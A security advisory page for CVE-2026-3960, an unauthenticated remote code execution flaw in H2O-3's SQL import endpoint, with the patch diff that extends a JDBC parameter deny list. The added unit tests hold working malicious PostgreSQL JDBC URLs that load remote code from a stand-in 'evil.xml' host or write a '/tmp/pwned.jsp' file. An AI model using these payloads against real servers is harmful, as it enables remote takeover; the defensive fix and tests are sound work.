VYPR
Medium severity5.9NVD Advisory· Published Apr 23, 2026· Updated Apr 24, 2026

CVE-2026-3960

CVE-2026-3960

Description

A critical remote code execution vulnerability exists in the unauthenticated REST API endpoint /99/ImportSQLTable in H2O-3 version 3.46.0.9 and prior. The vulnerability arises due to insufficient security controls in the parameter blacklist mechanism, which only targets MySQL JDBC driver-specific dangerous parameters. An attacker can bypass these controls by switching the JDBC URL protocol to jdbc:postgresql: and exploiting PostgreSQL JDBC driver-specific parameters such as socketFactory and socketFactoryArg. This allows unauthenticated attackers to execute arbitrary code on the H2O-3 server with the privileges of the H2O-3 process. The issue is resolved in version 3.46.0.10.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
ai.h2o:h2o-coreMaven
< 3.46.0.103.46.0.10

Affected products

1

Patches

1
b9ae2d3c5220

GH-16775 - Add couple of postgres sql parameters to DEFAULT_JDBC_DISALLOWED_PARAMETERS (#16776)

https://github.com/h2oai/h2o-3Adam ValentaMar 9, 2026via ghsa
2 files changed · +44 2
  • h2o-core/src/main/java/water/jdbc/SQLManager.java+5 2 modified
    @@ -46,8 +46,11 @@ public class SQLManager {
       private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*");
     
       private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = Stream.of(
    -          "autoDeserialize", "queryInterceptors", "allowLoadLocalInfile", "allowMultiQueries", //mysql 
    -          "allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", //mysql 
    +          "autoDeserialize", "queryInterceptors", "allowLoadLocalInfile", "allowMultiQueries", //mysql
    +          "allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", //mysql
    +          "statementInterceptors", //mysql
    +          "socketFactory", "socketFactoryArg", "sslfactory", "sslfactoryarg", //postgresql
    +          "loggerLevel", "loggerFile", //postgresql -- not dangerous but user should not have a reason to use them
               "init", "script", "shutdown" //h2
       ).map(String::toLowerCase).collect(Collectors.toList());
       private static AtomicLong NEXT_TABLE_NUM = new AtomicLong(0);
    
  • h2o-core/src/test/java/water/jdbc/SQLManagerTest.java+39 0 modified
    @@ -246,6 +246,36 @@ public void testValidateJdbcConnectionStringMysqlMultipleEncodedString() {
         SQLManager.validateJdbcUrl(jdbcConnection);
       }
     
    +  @Test
    +  public void testValidateJdbcConnectionStringPostgresqlSocketFactory() {
    +    exception.expect(IllegalArgumentException.class);
    +    exception.expectMessage("Potentially dangerous JDBC parameter found: socketFactory");
    +
    +    String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:9090/evil.xml";
    +
    +    SQLManager.validateJdbcUrl(jdbcConnection);
    +  }
    +
    +  @Test
    +  public void testValidateJdbcConnectionStringPostgresqlSslFactory() {
    +    exception.expect(IllegalArgumentException.class);
    +    exception.expectMessage("Potentially dangerous JDBC parameter found: sslfactory");
    +
    +    String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://127.0.0.1:9090/evil.xml";
    +
    +    SQLManager.validateJdbcUrl(jdbcConnection);
    +  }
    +
    +  @Test
    +  public void testValidateJdbcConnectionStringPostgresqlLoggerLevel() {
    +    exception.expect(IllegalArgumentException.class);
    +    exception.expectMessage("Potentially dangerous JDBC parameter found: loggerLevel");
    +
    +    String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=DEBUG&loggerFile=/tmp/pwned.jsp";
    +
    +    SQLManager.validateJdbcUrl(jdbcConnection);
    +  }
    +
       /**
        * Test fail if any exception is thrown therefore no assert
        */
    @@ -254,4 +284,13 @@ public void testValidateJdbcConnectionStringMysqlPass() {
         String jdbcConnection = "jdbc:mysql://127.0.0.1:3306/mydb?allowedParameter=true";
         SQLManager.validateJdbcUrl(jdbcConnection);
       }
    +
    +  /**
    +   * Test fail if any exception is thrown therefore no assert
    +   */
    +  @Test
    +  public void testValidateJdbcConnectionStringPostgresqlPass() {
    +    String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/mydb?ssl=true&sslmode=require";
    +    SQLManager.validateJdbcUrl(jdbcConnection);
    +  }
     }
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.